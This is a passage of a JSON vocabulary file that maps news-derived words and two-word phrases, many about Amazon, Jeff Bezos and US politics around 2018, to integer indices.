\"broward\": 174939,\n  \"news dana\": 174940,\n  \"goods products\": 174941,\n  \"tonight ben\": 174942,\n  \"acquisition service\": 174943,\n  \"senators meeting\": 174944,\n  \"require specialized\": 174945,\n  \"hold danger\": 174946,\n  \"massive introduction\": 174947,\n  \"recommend postal\": 174948,\n  \"important stories\": 174949,\n  \"american frame\": 174950,\n  \"consumers digital\": 174951,\n  \"lives strangers\": 174952,\n  \"boasting members\": 174953,\n  \"function j4\": 174954,\n  \"makes ebay\": 174955,\n  \"edelman ceo\": 174956,\n  \"alphabet earnings\": 174957,\n  \"protect gop\": 174958,\n  \"armstrong jones\": 174959,\n  \"blood\": 174960,\n  \"began earlier\": 174961,\n  \"vanderwaal\": 174962,\n  \"past amazon\": 174963,\n  \"taxes generated\": 174964,\n  \"anchor retail\": 174965,\n  \"137billion r1\": 174966,\n  \"composite\": 174967,\n  \"new investments\": 174968,\n  \"policies reporting\": 174969,\n  \"handgun\": 174970,\n  \"years offering\": 174971,\n  \"just played\": 174972,\n  \"tech prosperity\": 174973,\n  \"estate department\": 174974,\n  \"pineiro\": 174975,\n  \"asset think\": 174976,\n  \"cinch\": 174977,\n  \"administration rejects\": 174978,\n  \"list trump\": 174979,\n  \"grammer self\": 174980,\n  \"year adopting\": 174981,\n  \"margie\": 174982,\n  \"unease mass\": 174983,\n  \"new anonymous\": 174984,\n  \"project includes\": 174985,\n  \"approved kentucky\": 174986,\n  \"circuitous\": 174987,\n  \"services version\": 174988,\n  \"friendly nickname\": 174989,\n  \"dragged\": 174990,\n  \"f7a p7a\": 174991,\n  \"good sign\": 174992,\n  \"money reuters\": 174993,\n  \"store joins\": 174994,\n  \"including customer\": 174995,\n  \"jacobs sony\": 174996,\n  \"citizen action\": 174997,\n  \"reportedly started\": 174998,\n  \"poodle isn\": 174999,\n  \"skilled workers\": 175000,\n  \"hand rid\": 175001,\n  \"effect change\": 175002,\n  \"skew\": 175003,\n  \"political journalism\": 175004,\n  \"sellers sell\": 175005,\n  \"union backed\": 175006,\n  \"calendar shows\": 175007,\n  \"shiff claimed\": 175008,\n  \"enforce deal\": 175009,\n  \"georgia county\": 175010,\n  \"new mobile\": 175011,\n  \"neverland\": 175012,\n  \"oil rallied\": 175013,\n  \"prosecutorial\": 175014,\n  \"rumored start\": 175015,\n  \"6pm foto\": 175016,\n  \"fundamentally does\": 175017,\n  \"aside presidential\": 175018,\n  \"typeerror r4ee\": 175019,\n  \"employees tm\": 175020,\n  \"practice linked\": 175021,\n  \"published highly\": 175022,\n  \"think probably\": 175023,\n  \"hmmm\": 175024,\n  \"eviction family\": 175025,\n  \"merkel clashed\": 175026,\n  \"schizophrenia\": 175027,\n  \"saudi hack\": 175028,\n  \"states states\": 175029,\n  \"infowars conspiracy\": 175030,\n  \"hashtag\": 175031,\n  \"alphabet tencent\": 175032,\n  \"text to\\u0430quotes\": 175033,\n  \"nir\": 175034,\n  \"giants 2018\": 175035,\n  \"lower priced\": 175036,\n  \"relationship amazon\": 175037,\n  \"grand hyatt\": 175038,\n  \"donnell delete\": 175039,\n  \"journos\": 175040,\n  \"congress failed\": 175041,\n  \"amazon oft\": 175042,\n  \"major policy\": 175043,\n  \"warner\": 175044,\n  \"134\": 175045,\n  \"ensure packages\": 175046,\n  \"2017 lendio\": 175047,\n  \"articles social\": 175048,\n  \"contrasts sharply\": 175049,\n  \"favor amazon\": 175050,\n  \"space tourist\": 175051,\n  \"development investing\": 175052,\n  \"trump begins\": 175053,\n  \"sourcegregg\": 175054,\n  \"year gardner\": 175055,\n  \"bizarre fascist\": 175056,\n  \"concerns appears\": 175057,\n  \"conway jim\": 175058,\n  \"steering clear\": 175059,\n  \"anti conservative\": 175060,\n  \"sent letter\": 175061,\n  \"bonafide\": 175062,\n  \"huge disadvantage\": 175063,\n  \"ttwo bearish\": 175064,\n  \"energy related\": 175065,\n  \"india nahata\": 175066,\n  \"council according\": 175067,\n  \"higher sales\": 175068,\n  \"regularly accuses\": 175069,\n  \"prosecute fare\": 175070,\n  \"raj\": 175071,\n  \"canada select\": 175072,\n  \"capital hosted\": 175073,\n  \"lethal tumors\": 175074,\n  \"klux\": 175075,\n  \"faddist\": 175076,\n  \"rate moves\": 175077,\n  \"minute shoppers\": 175078,\n  \"kavanaugh hearing\": 175079,\n  \"creates dangerous\": 175080,\n  \"\\u0430clearly\": 175081,\n  \"real antitrust\": 175082,\n  \"later reports\": 175083,\n  \"clothes good\": 175084,\n  \"alpha kappa\": 175085,\n  \"provides maximum\": 175086,\n  \"trump gop\": 175087,\n  \"regulate google\": 175088,\n  \"agency commends\": 175089,\n  \"await response\": 175090,\n  \"initialize var\": 175091,\n  \"valley icons\": 175092,\n  \"region researchers\": 175093,\n  \"package volumes\": 175094,\n  \"aborted\": 175095,\n  \"president isn\": 175096,\n  \"estranged\": 175097,\n  \"leadership roles\": 175098,\n  \"reporters account\": 175099,\n  \"stock downgraded\": 175100,\n  \"2fnews 2fnationworld\": 175101,\n  \"market fell\": 175102,\n  \"bahrain showed\": 175103,\n  \"dabbling\": 175104,\n  \"hydrogen fuel\": 175105,\n  \"morning session\": 175106,\n  \"keynote address\": 175107,\n  \"gun background\": 175108,\n  \"ge\": 175109,\n  \"ente read\": 175110,\n  \"hosting storefront\": 175111,\n  \"leading retailer\": 175112,\n  \"service hasn\": 175113,\n  \"markupid var\": 175114,\n  \"trump lauded\": 175115,\n  \"cavalcade\": 175116,\n  \"extraordinary pressures\": 175117,\n  \"original proposal\": 175118,\n  \"central american\": 175119,\n  \"gates mackenzie\": 175120,\n  \"permanent jobs\": 175121,\n  \"gore bush\": 175122,\n  \"introduced blind\": 175123,\n  \"tv watchers\": 175124,\n  \"quidsi\": 175125,\n  \"unorthodox\": 175126,\n  \"wages amounts\": 175127,\n  \"tore apart\": 175128,\n  \"tenth anniversary\": 175129,\n  \"rates appropriations\": 175130,\n  \"counterfeit crisis\": 175131,\n  \"deals action\": 175132,\n  \"147 million\": 175133,\n  \"claims amazon\": 175134,\n  \"parents declare\": 175135,\n  \"evil time\": 175136,\n  \"scant creating\": 175137,\n  \"ami target\": 175138,\n  \"foreground illumination\": 175139,\n  \"significant foreign\": 175140,\n  \"anger trump\": 175141,\n  \"unworthy\": 175142,\n  \"alexas\": 175143,\n  \"magary amazon\": 175144,\n  \"hannibal pushing\": 175145,\n  \"opponents cramer\": 175146,\n  \"service calculates\": 175147,\n  \"541 900\": 175148,\n  \"anti israel\": 175149,\n  \"1622\": 175150,\n  \"trading commission\": 175151,\n  \"color won\": 175152,\n  \"democrats midterms\": 175153,\n  \"leaders tech\": 175154,\n  \"turf according\": 175155,\n  \"undaunted bezos\": 175156,\n  \"detailing sit\": 175157,\n  \"kings unique\": 175158,\n  \"jester mitch\": 175159,\n  \"nation financial\": 175160,\n  \"disbelief advice\": 175161,\n  \"della\": 175162,\n  \"broaden\": 175163,\n  \"says brown\": 175164,\n  \"function l2\": 175165,\n  \"competition including\": 175166,\n  \"media freedom\": 175167,\n  \"amazon fortunes\": 175168,\n  \"nonprofit dedicated\": 175169,\n  \"article added\": 175170,\n  \"occurred despite\": 175171,\n  \"mod djemcapitaljournaldaybreak\": 175172,\n  \"plekken\": 175173,\n  \"races including\": 175174,\n  \"work axed\": 175175,\n  \"cook political\": 175176,\n  \"alaska massive\": 175177,\n  \"charts paperback\": 175178,\n  \"resource center\": 175179,\n  \"personal finance\": 175180,\n  \"privileged\": 175181,\n  \"official feared\": 175182,\n  \"sold yelp\": 175183,\n  \"won support\": 175184,\n  \"facebook reportedly\": 175185,\n  \"injecting\": 175186,\n  \"smaller operations\": 175187,\n  \"retires multimillionaire\": 175188,\n  \"meet court\": 175189,\n  \"lawsuit ncaa\": 175190,\n  \"policing american\": 175191,\n  \"joannftzptrck yahoo\": 175192,\n  \"supply prices\": 175193,\n  \"kept amazon\": 175194,\n  \"column appears\": 175195,\n  \"fun gadgets\": 175196,\n  \"scare minutes\": 175197,\n  \"society people\": 175198,\n  \"won happen\": 175199,\n  \"congressman clyburn\": 175200,\n  \"beaucoup bucks\": 175201,\n  \"charging mark\": 175202,\n  \"house fits\": 175203,\n  \"ultimate goal\": 175204,\n  \"adm cargill\": 175205,\n  \"nah trump\": 175206,\n  \"barrier 000\": 175207,\n  \"errors suggesting\": 175208,\n  \"competitive behaviors\": 175209,\n  \"unthinkable\": 175210,\n  \"far fewer\": 175211,\n  \"change new\": 175212,\n  \"combusted\": 175213,\n  \"told dec\": 175214,\n  \"uniforms insurance\": 175215,\n  \"animated tragicomedy\": 175216,\n  \"rising solidly\": 175217,\n  \"ceo ebay\": 175218,\n  \"ministry wants\": 175219,\n  \"consensus expectations\": 175220,\n  \"poway\": 175221,\n  \"org note\": 175222,\n  \"fit phil\": 175223,\n  \"improve financial\": 175224,\n  \"text meet\": 175225,\n  \"mail trump\": 175226,\n  \"crisis dana\": 175227,\n  \"managers rite\": 175228,\n  \"isps\": 175229,\n  \"power mueller\": 175230,\n  \"pussy grabber\": 175231,\n  \"pearlstein\": 175232,\n  \"thanks jim\": 175233,\n  \"scathing report\": 175234,\n  \"intensifying\": 175235,\n  \"cold outside\": 175236,\n  \"customers download\": 175237,\n  \"vindicates\": 175238,\n  \"solutions palantir\": 175239,\n  \"reduced\": 175240,\n  \"warren latest\": 175241,\n  \"share agreements\": 175242,\n  \"iphone leak\": 175243,\n  \"high andrew\": 175244,\n  \"midasletter\": 175245,\n  \"artistic political\": 175246,\n  \"finance rick\": 175247,\n  \"shocking pay\": 175248,\n  \"medicine medicare\": 175249,\n  \"lepore norton\": 175250,\n  \"healthcare act\": 175251,\n  \"142 billion\": 175252,\n  \"shares soaring\": 175253,\n  \"alleged abuse\": 175254,\n  \"cortez criticized\": 175255,\n  \"restore media\": 175256,\n  \"wrong especially\": 175257,\n  \"valuation near\": 175258,\n  \"collins maine\": 175259,\n  \"infinitearticlecollection articlebundleid\": 175260,\n  \"products meaning\": 175261,\n  \"gabbana\": 175262,\n  \"immediately critical\": 175263,\n  \"fedex nightmare\": 175264,\n  \"furore\": 175265,\n  \"acquired whatsapp\": 175266,\n  \"smithsonian longreads\": 175267,\n  \"champion canelo\": 175268,\n  \"summer vacation\": 175269,\n  \"susan del\": 175270,\n  \"declined\": 175271,\n  \"payment decrease\": 175272,\n  \"trump serving\": 175273,\n  \"memphis 2386144\": 175274,\n  \"contention\": 175275,\n  \"decently\": 175276,\n  \"recommend nominees\": 175277,\n  \"intelligence predictive\": 175278,\n  \"internet memes\": 175279,\n  \"antiviral medication\": 175280,\n  \"candidate called\": 175281,\n  \"cloud player\": 175282,\n  \"proposal sent\": 175283,\n  \"notoriously tight\": 175284,\n  \"american motorcycle\": 175285,\n  \"djemcapitaljournaldaybreak\": 175286,\n  \"epithets pignocchio\": 175287,\n  \"competing goods\": 175288,\n  \"debate shifted\": 175289,\n  \"getting 000\": 175290,\n  \"televisions studios\": 175291,\n  \"foreign exchange\": 175292,\n  \"roundup\": 175293,\n  \"sanders spokesman\": 175294,\n  \"chiusano\": 175295,\n  \"tuesdays\": 175296,\n  \"satchatuk\": 175297,\n  \"cable\": 175298,\n  \"cribs\": 175299,\n  \"choices limited\": 175300,\n  \"russia nato\": 175301,\n  \"consumer price\": 175302,\n  \"hinterlands\": 175303,\n  \"saudi intelligence\": 175304,\n  \"celebrated diversity\": 175305,\n  \"whalen\": 175306,\n  \"today conference\": 175307,\n  \"approved senate\": 175308,\n  \"early reviews\": 175309,\n  \"presidential attacks\": 175310,\n  \"cudgel wielded\": 175311,\n  \"squeeze away\": 175312,\n  \"huckabee stephen\": 175313,\n  \"second lady\": 175314,\n  \"nixon tattoo\": 175315,\n  \"vertical marriage\": 175316,\n  \"hammer\": 175317,\n  \"amazon monumental\": 175318,\n  \"says negotiations\": 175319,\n  \"immigrants dreamers\": 175320,\n  \"counterprotesters killing\": 175321,\n  \"retina\": 175322,\n  \"composite nearly\": 175323,\n  \"griped\": 175324,\n  \"eats guys\": 175325,\n  \"trump mccain\": 175326,\n  \"small tin\": 175327,\n  \"legend frank\": 175328,\n  \"cookbooks vegetarian\": 175329,\n  \"national debate\": 175330,\n  \"202 live\": 175331,\n  \"renault nissan\": 175332,\n  \"latest products\": 175333,\n  \"signature campaign\": 175334,\n  \"worthwhile potential\": 175335,\n  \"party general\": 175336,\n  \"international economist\": 175337,\n  \"change affects\": 175338,\n  \"game 100\": 175339,\n  \"past races\": 175340,\n  \"making donation\": 175341,\n  \"firm profitero\": 175342,\n  \"content imagine\": 175343,\n  \"agencies routinely\": 175344,\n  \"vmworld 2018\": 175345,\n  \"code thon\": 175346,\n  \"providing digital\": 175347,\n  \"cnnpolitics status\": 175348,\n  \"presents abundant\": 175349,\n  \"outlandish theory\": 175350,\n  \"georgetown\": 175351,\n  \"retired mother\": 175352,\n  \"chris andrew\": 175353,\n  \"thinking brain\": 175354,\n  \"financial force\": 175355,\n  \"fixed\": 175356,\n  \"package costs\": 175357,\n  \"russell brandom\": 175358,\n  \"value yesterday\": 175359,\n  \"christine\": 175360,\n  \"admits overpaying\": 175361,\n  \"ascension\": 175362,\n  \"slowdown copper\": 175363,\n  \"cardinal cfo\": 175364,\n  \"free marketer\": 175365,\n  \"unimagined\": 175366,\n  \"harvesting activities\": 175367,\n  \"sanctions heartland\": 175368,\n  \"704\": 175369,\n  \"addictive\": 175370,\n  \"traditionally blue\": 175371,\n  \"ax\": 175372,\n  \"proceed promoting\": 175373,\n  \"rewarded pecker\": 175374,\n  \"business delivering\": 175375,\n  \"heights trump\": 175376,\n  \"shook investors\": 175377,\n  \"displaying modicum\": 175378,\n  \"jeffrey worth\": 175379,\n  \"trump breaking\": 175380,\n  \"answer questions\": 175381,\n  \"independent regular\": 175382,\n  \"acknowledging amazon\": 175383,\n  \"joy split\": 175384,\n  \"musk tweets\": 175385,\n  \"company trounced\": 175386,\n  \"recycling bin\": 175387,\n  \"tax optimisation\": 175388,\n  \"status 1014144323934277632\": 175389,\n  \"offenders subject\": 175390,\n  \"breakups\": 175391,\n  \"amazon tony\": 175392,\n  \"released new\": 175393,\n  \"mnuchin sen\": 175394,\n  \"rulemaking focused\": 175395,\n  \"intimidation\": 175396,\n  \"compose report\": 175397,\n  \"inc_autid\": 175398,\n  \"agric commissioner\": 175399,\n  \"washingtonian media\": 175400,\n  \"rampant republican\": 175401,\n  \"des\": 175402,\n  \"technology jobs\": 175403,\n  \"story whistleblower\": 175404,\n  \"roughly 455\": 175405,\n  \"dynamism\": 175406,\n  \"coverage published\": 175407,\n  \"government reforms\": 175408,\n  \"incoming chairman\": 175409,\n  \"decoratevideoapi\": 175410,\n  \"using bartiromo\": 175411,\n  \"growing buzz\": 175412,\n  \"consistently stick\": 175413,\n  \"writing disgraced\": 175414,\n  \"currencies investors\": 175415,\n  \"armando iannucci\": 175416,\n  \"warehouse working\": 175417,\n  \"albany marko\": 175418,\n  \"council speaker\": 175419,\n  \"code sharing\": 175420,\n  \"nears trump\": 175421,\n  \"grow little\": 175422,\n  \"gmt graphic\": 175423,\n  \"art notes\": 175424,\n  \"deliver small\": 175425,\n  \"highs amazon\": 175426,\n  \"attorney defended\": 175427,\n  \"wisconsin michigan\": 175428,\n  \"iphone factories\": 175429,\n  \"resistance nwdcresistance\": 175430,\n  \"faith arizona\": 175431,\n  \"physical bookstore\": 175432,\n  \"typically associated\": 175433,\n  \"jess\": 175434,\n  \"exposed\": 175435,\n  \"campaign team\": 175436,\n  \"benefited\": 175437,\n  \"eddie lampert\": 175438,\n  \"unpublished\": 175439,\n  \"khashoggi virginia\": 175440,\n  \"241 sites\": 175441,\n  \"0716et\": 175442,\n  \"videos business\": 175443,\n  \"group inside\": 175444,\n  \"government shut\": 175445,\n  \"directors\": 175446,\n  \"basically fish\": 175447,\n  \"english accent\": 175448,\n  \"guidance jeff\": 175449,\n  \"exchange ise\": 175450,\n  \"huge box\": 175451,\n  \"earlier poll\": 175452,\n  \"aggrandizing behavior\": 175453,\n  \"amazonian life\": 175454,\n  \"world today\": 175455,\n  \"pricing error\": 175456,\n  \"statement online\": 175457,\n  \"long political\": 175458,\n  \"handle exactly\": 175459,\n  \"agency brian\": 175460,\n  \"care legislation\": 175461,\n  \"sells china\": 175462,\n  \"court struck\": 175463,\n  \"survivor finale\": 175464,\n  \"173 year\": 175465,\n  \"2018 joy\": 175466,\n  \"democrat alexandria\": 175467,\n  \"agenda described\": 175468,\n  \"proposed new\": 175469,\n  \"public funds\": 175470,\n  \"cruise\": 175471,\n  \"rejected motion\": 175472,\n  \"100418 jpg\": 175473,\n  \"hardliners\": 175474,\n  \"user fares\": 175475,\n  \"narrative liberty\": 175476,\n  \"credible story\": 175477,\n  \"stories tales\": 175478,\n  \"cnbc citing\": 175479,\n  \"flyblog 2018\": 175480,\n  \"daniels stars\": 175481,\n  \"night 2839172\": 175482,\n  \"helping mark\": 175483,\n  \"financial control\": 175484,\n  \"resisted following\": 175485,\n  \"regularly attacking\": 175486,\n  \"curtail friendly\": 175487,\n  \"retailing afterward\": 175488,\n  \"chaining\": 175489,\n  \"held 33m\": 175490,\n  \"toll\": 175491,\n  \"fabricated stories\": 175492,\n  \"457771\": 175493,\n  \"president later\": 175494,\n  \"shroud\": 175495,\n  \"ill patients\": 175496,\n  \"term access\": 175497,\n  \"twitter announcing\": 175498,\n  \"future filled\": 175499,\n  \"wasnt\": 175500,\n  \"reunite\": 175501,\n  \"halted trump\": 175502,\n  \"perspective bhp\": 175503,\n  \"wegmann philip\": 175504,\n  \"virginia voters\": 175505,\n  \"jack gruber\": 175506,\n  \"rhett\": 175507,\n  \"headlinetext spacex\": 175508,\n  \"prominent brands\": 175509,\n  \"wreck\": 175510,\n  \"cultural shaper\": 175511,\n  \"empowerment index\": 175512,\n  \"giving nazi\": 175513,\n  \"board bloomberg\": 175514,\n  \"leases\": 175515,\n  \"owes\": 175516,\n  \"presidential criticism\": 175517,\n  \"big baby\": 175518,\n  \"drew heat\": 175519,\n  \"trump mention\": 175520,\n  \"continued focus\": 175521,\n  \"clerks\": 175522,\n  \"company claiming\": 175523,\n  \"package travels\": 175524,\n  \"server719399 server719400\": 175525,\n  \"old archie\": 175526,\n  \"trump isbn\": 175527,\n  \"clear signals\": 175528,\n  \"carpet fanfare\": 175529,\n  \"help underserved\": 175530,\n  \"withstand major\": 175531,\n  \"sharp devaluation\": 175532,\n  \"work boots\": 175533,\n  \"school trump\": 175534,\n  \"california republican\": 175535,\n  \"billionaire alleges\": 175536,\n  \"delivers cvs\": 175537,\n  \"buy signal\": 175538,\n  \"millennials cramer\": 175539,\n  \"chris van\": 175540,\n  \"property theft\": 175541,\n  \"putting limits\": 175542,\n  \"crime syndicate\": 175543,\n  \"valentines day\": 175544,\n  \"blasted tech\": 175545,\n  \"limited impact\": 175546,\n  \"atini movement\": 175547,\n  \"mohamad khairul\": 175548,\n  \"sailing\": 175549,\n  \"discuss changes\": 175550,\n  \"logistics firm\": 175551,\n  \"tablets\": 175552,\n  \"worldwide despite\": 175553,\n  \"populated counties\": 175554,\n  \"galloway predicts\": 175555,\n  \"leftover funds\": 175556,\n  \"force set\": 175557,\n  \"debuted oct\": 175558,\n  \"500 seattle\": 175559,\n  \"pre payments\": 175560,\n  \"establishing regulatory\": 175561,\n  \"amazon 525\": 175562,\n  \"interviews bezos\": 175563,\n  \"fertility treatments\": 175564,\n  \"organizations covered\": 175565,\n  \"fla president\": 175566,\n  \"global agreement\": 175567,\n  \"viable alternative\": 175568,\n  \"china record\": 175569,\n  \"faced great\": 175570,\n  \"recording\": 175571,\n  \"column amazon\": 175572,\n  \"mistreatment\": 175573,\n  \"nike just\": 175574,\n  \"wearing plunging\": 175575,\n  \"contemporary\": 175576,\n  \"flames pennsylvania\": 175577,\n  \"boxes things\": 175578,\n  \"david ricardo\": 175579,\n  \"137bn\": 175580,\n  \"bolsonaro choice\": 175581,\n  \"having ruled\": 175582,\n  \"noomi rapace\": 175583,\n  \"nickniedz daniel\": 175584,\n  \"rank stocks\": 175585,\n  \"2tn valuation\": 175586,\n  \"inherent problems\": 175587,\n  \"going backwards\": 175588,\n  \"drive traffic\": 175589,\n  \"air lines\": 175590,\n  \"cody wilson\": 175591,\n  \"leather belt\": 175592,\n  \"jc ic\": 175593,\n  \"member discounts\": 175594,\n  \"focus areas\": 175595,\n  \"people network\": 175596,\n  \"critiques culminated\": 175597,\n  \"stephens die\": 175598,\n  \"nyse nyse\": 175599,\n  \"life new\": 175600,\n  \"mail pricing\": 175601,\n  \"punish bezos\": 175602,\n  \"taking softer\": 175603,\n  \"hub fedex\": 175604,\n  \"falling employee\": 175605,\n  \"reflects president\": 175606,\n  \"destinations travelpod\": 175607,\n  \"completely clear\": 175608,\n  \"morning cloudy\": 175609,\n  \"lowest favorability\": 175610,\n  \"shillue\": 175611,\n  \"exaggerate\": 175612,\n  \"movie villain\": 175613,\n  \"apt represented\": 175614,\n  \"farm airs\": 175615,\n  \"goods read\": 175616,\n  \"nikki haley\": 175617,\n  \"conservative thinkers\": 175618,\n  \"tracks\": 175619,\n  \"fbi knew\": 175620,\n  \"crime bezos\": 175621,\n  \"hordes alleged\": 175622,\n  \"heart wrenching\": 175623,\n  \"assortment practices\": 175624,\n  \"funk album\": 175625,\n  \"nyc jeremiah\": 175626,\n  \"fix today\": 175627,\n  \"spam messages\": 175628,\n  \"inc_autoplay_videoflag\": 175629,\n  \"severely disruptive\": 175630,\n  \"right nursing\": 175631,\n  \"conservative democrats\": 175632,\n  \"clinic bezos\": 175633,\n  \"states called\": 175634,\n  \"email whatsapp\": 175635,\n  \"house denied\": 175636,\n  \"guaranteed income\": 175637,\n  \"rai massive\": 175638,\n  \"nonpartisan center\": 175639,\n  \"researcher hired\": 175640,\n  \"earnings rising\": 175641,\n  \"morial\": 175642,\n  \"analysts including\": 175643,\n  \"president biden\": 175644,\n  \"bezos sharing\": 175645,\n  \"mowers interestingly\": 175646,\n  \"changed plans\": 175647,\n  \"kumar vice\": 175648,\n  \"staff accused\": 175649,\n  \"systems\": 175650,\n  \"private investigation\": 175651,\n  \"messy\": 175652,\n  \"realist\": 175653,\n  \"enquirer claimed\": 175654,\n  \"writeln a4ee\": 175655,\n  \"bad working\": 175656,\n  \"help wanted\": 175657,\n  \"overconfident blue\": 175658,\n  \"watoday\": 175659,\n  \"business mailers\": 175660,\n  \"entertainment department\": 175661,\n  \"telecom giant\": 175662,\n  \"app sounded\": 175663,\n  \"burnt\": 175664,\n  \"assets divorce\": 175665,\n  \"abramson sethabramson\": 175666,\n  \"nassau county\": 175667,\n  \"imminent termination\": 175668,\n  \"post employment\": 175669,\n  \"resonating\": 175670,\n  \"fair cocktail\": 175671,\n  \"generally known\": 175672,\n  \"trade war\": 175673,\n  \"story brian\": 175674,\n  \"commerce arm\": 175675,\n  \"m2b standing\": 175676,\n  \"story recommend\": 175677,\n  \"sinclair attempted\": 175678,\n  \"family contracted\": 175679,\n  \"joan edwards\": 175680,\n  \"million exit\": 175681,\n  \"billion products\": 175682,\n  \"customers security\": 175683,\n  \"wants strong\": 175684,\n  \"underperforming stores\": 175685,\n  \"center employee\": 175686,\n  \"products deliver\": 175687,\n  \"s5 w5\": 175688,\n  \"rest boeing\": 175689,\n  \"cuaron\": 175690,\n  \"attacks emma\": 175691,\n  \"muttered\": 175692,\n  \"visit geo\": 175693,\n  \"columnist washington\": 175694,\n  \"cheaper courier\": 175695,\n  \"including israeli\": 175696,\n  \"press stating\": 175697,\n  \"halzack points\": 175698,\n  \"planks\": 175699,\n  \"power feeney\": 175700,\n  \"reasons kudlow\": 175701,\n  \"camp hike\": 175702,\n  \"shoots practical\": 175703,\n  \"barefoot\": 175704,\n  \"private world\": 175705,\n  \"shifting additional\": 175706,\n  \"following protests\": 175707,\n  \"ap org\": 175708,\n  \"foundation book\": 175709,\n  \"political favor\": 175710,\n  \"tariff worries\": 175711,\n  \"countercharge\": 175712,\n  \"suppress rankings\": 175713,\n  \"shipping consumer\": 175714,\n  \"500 slipped\": 175715,\n  \"corn maze\": 175716,\n  \"site bezos\": 175717,\n  \"blamed opponents\": 175718,\n  \"air center\": 175719,\n  \"athey contributed\": 175720,\n  \"composite portrait\": 175721,\n  \"shamrock\": 175722,\n  \"300 million\": 175723,\n  \"cloud service\": 175724,\n  \"style barbecue\": 175725,\n  \"problems bezos\": 175726,\n  \"sells items\": 175727,\n  \"commerce revenues\": 175728,\n  \"similar change\": 175729,\n  \"zurich cantonalbank\": 175730,\n  \"nursing workers\": 175731,\n  \"gear trio\": 175732,\n  \"ny politicians\": 175733,\n  \"engineering expertise\": 175734,\n  \"democrat deplore\": 175735,\n  \"style nicknaming\": 175736,\n  \"future amzn\": 175737,\n  \"amendment people\": 175738,\n  \"enjoying celebratory\": 175739,\n  \"marino\": 175740,\n  \"high exposure\": 175741,\n  \"tailer overall\": 175742,\n  \"1814et\": 175743,\n  \"commercial exists\": 175744,\n  \"foreclosure proceedings\": 175745,\n  \"reportedly misrouted\": 175746,\n  \"alex webb\": 175747,\n  \"property boom\": 175748,\n  \"sirajahashmi\": 175749,\n  \"mario bros\": 175750,\n  \"140billion divorce\": 175751,\n  \"provided proof\": 175752,\n  \"trade government\": 175753,\n  \"karma leila\": 175754,\n  \"investment flows\": 175755,\n  \"overnight lone\": 175756,\n  \"nonviolent\": 175757,\n  \"biggest hits\": 175758,\n  \"reducing prices\": 175759,\n  \"separate relationship\": 175760,\n  \"knockdown\": 175761,\n  \"bezos launched\": 175762,\n  \"union say\": 175763,\n  \"value diversified\": 175764,\n  \"1874\": 175765,\n  \"defiance\": 175766,\n  \"caffeine cartel\": 175767,\n  \"answers questions\": 175768,\n  \"enquirer circulation\": 175769,\n  \"multi millionaire\": 175770,\n  \"design choices\": 175771,\n  \"congress putting\": 175772,\n  \"modernize digital\": 175773,\n  \"unfairly distributed\": 175774,\n  \"er\": 175775,\n  \"escaping obligations\": 175776,\n  \"putin\": 175777,\n  \"birth\": 175778,\n  \"ideas pick\": 175779,\n  \"account focus\": 175780,\n  \"annual net\": 175781,\n  \"rocket senddonaldtospace\": 175782,\n  \"twin sons\": 175783,\n  \"president deeply\": 175784,\n  \"papers jon\": 175785,\n  \"investment\": 175786,\n  \"xs iphone\": 175787,\n  \"crime biography\": 175788,\n  \"usual relationships\": 175789,\n  \"577 shares\": 175790,\n  \"surprised wish\": 175791,\n  \"pulled ninja\": 175792,\n  \"assessments\": 175793,\n  \"featuring trump\": 175794,\n  \"dems 2020\": 175795,\n  \"seattle tech\": 175796,\n  \"alarming results\": 175797,\n  \"significant mudslides\": 175798,\n  \"change business\": 175799,\n  \"wounds\": 175800,\n  \"support hasn\": 175801,\n  \"accusations minutes\": 175802,\n  \"term outcome\": 175803,\n  \"running vendetta\": 175804,\n  \"infrastructure cloud\": 175805,\n  \"softness\": 175806,\n  \"youngest deserves\": 175807,\n  \"finalists northern\": 175808,\n  \"girl\": 175809,\n  \"financial free\": 175810,\n  \"self aggrandizing\": 175811,\n  \"aggressive incompetence\": 175812,\n  \"reflexively\": 175813,\n  \"santiago\": 175814,\n  \"vote trump\": 175815,\n  \"collapse britain\": 175816,\n  \"single hot\": 175817,\n  \"consumers don\": 175818,\n  \"man amazon\": 175819,\n  \"presents painful\": 175820,\n  \"rapid succession\": 175821,\n  \"adriana diaz\": 175822,\n  \"dollar brand\": 175823,\n  \"long earned\": 175824,\n  \"stylish funny\": 175825,\n  \"trade meetings\": 175826,\n  \"amsterdammer nina\": 175827,\n  \"content rain\": 175828,\n  \"potential peril\": 175829,\n  \"phil levy\": 175830,\n  \"stock 8yrs\": 175831,\n  \"muckerman interestingly\": 175832,\n  \"nearly 400\": 175833,\n  \"labeled\": 175834,\n  \"work reduce\": 175835,\n  \"collapse nasdaq\": 175836,\n  \"deal think\": 175837,\n  \"larger group\": 175838,\n  \"investments 2018\": 175839,\n  \"swamp judge\": 175840,\n  \"officials eventually\": 175841,\n  \"famous celebrities\": 175842,\n  \"qanon page\": 175843,\n  \"alex brandon\": 175844,\n  \"action walmart\": 175845,\n  \"old grammy\": 175846,\n  \"disruptive process\": 175847,\n  \"spirited\": 175848,\n  \"embarrassment helal\": 175849,\n  \"wirth\": 175850,\n  \"wide advertising\": 175851,\n  \"example corruption\": 175852,\n  \"extra\": 175853,\n  \"saluting saudi\": 175854,\n  \"terror\": 175855,\n  \"internet sector\": 175856,\n  \"famous theme\": 175857,\n  \"unspooling\": 175858,\n  \"louise matsakis\": 175859,\n  \"kill merger\": 175860,\n  \"razors\": 175861,\n  \"intelligence labs\": 175862,\n  \"average ge\": 175863,\n  \"pre funded\": 175864,\n  \"cake case\": 175865,\n  \"relatively mitigated\": 175866,\n  \"totaling nearly\": 175867,\n  \"rebuff charges\": 175868,\n  \"packing vans\": 175869,\n  \"ex administration\": 175870,\n  \"gen\": 175871,\n  \"russian infiltrators\": 175872,\n  \"anticompetitive regulators\": 175873,\n  \"isn obliged\": 175874,\n  \"quitting music\": 175875,\n  \"general commerce\": 175876,\n  \"asked mccabe\": 175877,\n  \"kind collectible\": 175878,\n  \"revenue analysts\": 175879,\n  \"coffee fast\": 175880,\n  \"iceland\": 175881,\n  \"patronage\": 175882,\n  \"employee protests\": 175883,\n  \"main function\": 175884,\n  \"mintel\": 175885,\n  \"clearances prospect\": 175886,\n  \"firm market\": 175887,\n  \"fi router\": 175888,\n  \"publicaci\\u00f3n_incorporada_incorporada_filaje_de_files inclucaciones\": 175889,\n  \"camacho vp\": 175890,\n  \"steidler member\": 175891,\n  \"alyssa girl\": 175892,\n  \"published lot\": 175893,\n  \"sunny toronto\": 175894,\n  \"amazon earned\": 175895,\n  \"fine\": 175896,\n  \"medication line\": 175897,\n  \"damon\": 175898,\n  \"fairly toothless\": 175899,\n  \"report diana\": 175900,\n  